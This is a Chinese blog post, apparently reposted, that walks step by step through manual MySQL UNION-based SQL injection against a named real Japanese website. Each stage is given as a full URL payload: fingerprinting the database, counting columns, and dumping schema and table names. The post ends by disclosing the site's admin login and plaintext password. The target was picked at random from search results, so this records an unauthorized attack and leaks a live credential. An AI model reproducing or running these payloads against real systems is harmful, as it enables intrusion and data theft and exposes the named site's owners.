zoukankan      html  css  js  c++  java
  • MYSQL手工注入某日本网站

    作者:ice   团队:www.anying.org 转载必须注明。

    E-mail:1c30day@gmail.com
    经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了。找点乐子打发时间,看了一下2013年OWASP Top Ten Project, Injection排在第一。去了解注入,还是有必要的。
    随便google了几个日本网站,发现不少都在注入点,有很多用手工都比较鸡肋,终于找到了一个比较满意的。

    0X01 判断是否为注入点

    http://henecia.jp/news/detail.php?nid=162’报错,显示MDB2 Error: syntax error
    http://henecia.jp/news/detail.php?nid=162+and+1=1显示正常
    http://henecia.jp/news/detail.php?nid=162+and+1=2显示异常
    判断是注入点

    0X02 判断数据库类型

             http://henecia.jp/news/detail.php?nid=162+and+user>0报错,显示MDB2 Error: no such field
             http://henecia.jp/news/detail.php?nid=162+and+version()>0显示正常
             判定是MYSQL数据库

    0x03 猜解当前网页的字段数

             采用二分法,逐渐猜解。
           http://henecia.jp/news/detail.php?nid=162+order+by+9
            http://henecia.jp/news/detail.php?nid=162+order+by+10
    Order by 9显示正常 ;order 10 显示不正常。说明字段数为9
    0x04 爆出当前网页显示位
             http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,2,3,4,5,6,7,8,9–

             
    显示位为2和3
    UNION 操作符用于合并两个或多个 SELECT 语句的结果集。URL后面添加 and+1=2 显示有报错信息,URL后面添加 select+1,2,3,4,5,6,7,8,9 显示正常的网页,使用UNION操作符将后者的显示信息覆盖掉前面报错的信息,这样就能清楚看到显示位了。
     
    0x05 爆出数据库基本信息
             http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,concat(user(),0x20,database(),0x20,version()),3,4,5,6,7,8,9–
    <ignore_js_op>

    用户:henecia@localhost ,数据库名:henecia,数据库版本:5.1.56
    可以在显位的位置插入的预设函数;
    User() 查看用户  
    database()  --查看数据库名称     
    Version() --查看数据库版本   
    @@datadir --数据库路径
    @@version_compile_os--操作系统版本   
    system_user() --系统用户名  
    current_user()--当前用户名   
    session_user()--连接数据库的用户名
             为了显示信息更方便,这里在构造sql查询语句中使用了concat函数,它连接一个或者多个字符串, 有任何一个参数为NULL ,则返回值为 NULL。还有group_concat()和concat_ws(),这些函数的功能不清楚,有必要去了解一下,这里我就不多说了。
    0x06 爆出数据库名
             http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(distinct+table_schema),3,4,5,6,7,8,9+from+information_schema.columns--

    <ignore_js_op>
    爆出数据库名:information_schema,henecia
    information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。nformation_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。
    MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。

    0x07 爆出当前数据库的表名
    http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(distinct+table_name),3,4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
    显示的表名:
     
    TM_ADMIN_MEMBER,TM_BANNER_MASTER,TM_BBS1_CATEGORY,TM_BBS1_COMMENT,TM_BLOG1_CATEGORY,TM_BLOG1_COMMENT,TM_BLOG1_MASTER,TM_EVENT_ORDER,TM_GOODSNEWS_MASTER,TM_MEMBER_MASTER,TM_MEMBER_MASTER2,TM_NEWS_MASTER,TM_PASS_MASTER,TM_PAYMENT_TRANS_HISTORY,TM_SCHEDULE_CATEGORY,TM_SCHEDULE_MASTER,TM_SITEID,T_RESEND_MEMBER,T_RESEND_MEMBER_CARDFIN,T_RESEND_
    如果数据库表比较多,一般都使用使用limit n,1插到末尾,逐次爆出的数据(n为显示第n个)。
     
    0x08 爆出表中的字段
    http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(distinct+column_name),3,4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x544D5F41444D494E5F4D454D424552--
    给table_name赋的值为TM_ADMIN_MEMBER的HEX(16进制)。

    爆出了当前数据库的TM_ADMIN_MEMBER表中的字段:
    admin_id,login_uid,login_pwd,level,is_status,create_date,update_date
     
    0x09 爆出数据库表的数据
    http://henecia.jp/news/detail.php?nid=162+and+1=2+union+select+1,group_concat(admin_id,0x2B,login_uid,0x2B,login_pwd),3,4,5,6,7,8,9+from+TM_ADMIN_MEMBER--
    <ignore_js_op>
             爆出admin_id为1,login_uid为admin,login_pwd为osuktm12

    文章到此完结,请多给建议和学习指导,谢
  • 相关阅读:
    iOS 面试题 1
    ios 面试题 0
    得到程序包路径
    UISwitch 监听响应
    在[self addsubView:xxx]中,self.name 和 _name的区别
    /调整button的title的位置
    //设置导航条背景图片
    警告框
    @synthesize
    打开控制台选中路径的文件夹
  • 原文地址:https://www.cnblogs.com/cnsanshao/p/3364600.html
Copyright © 2011-2022 走看看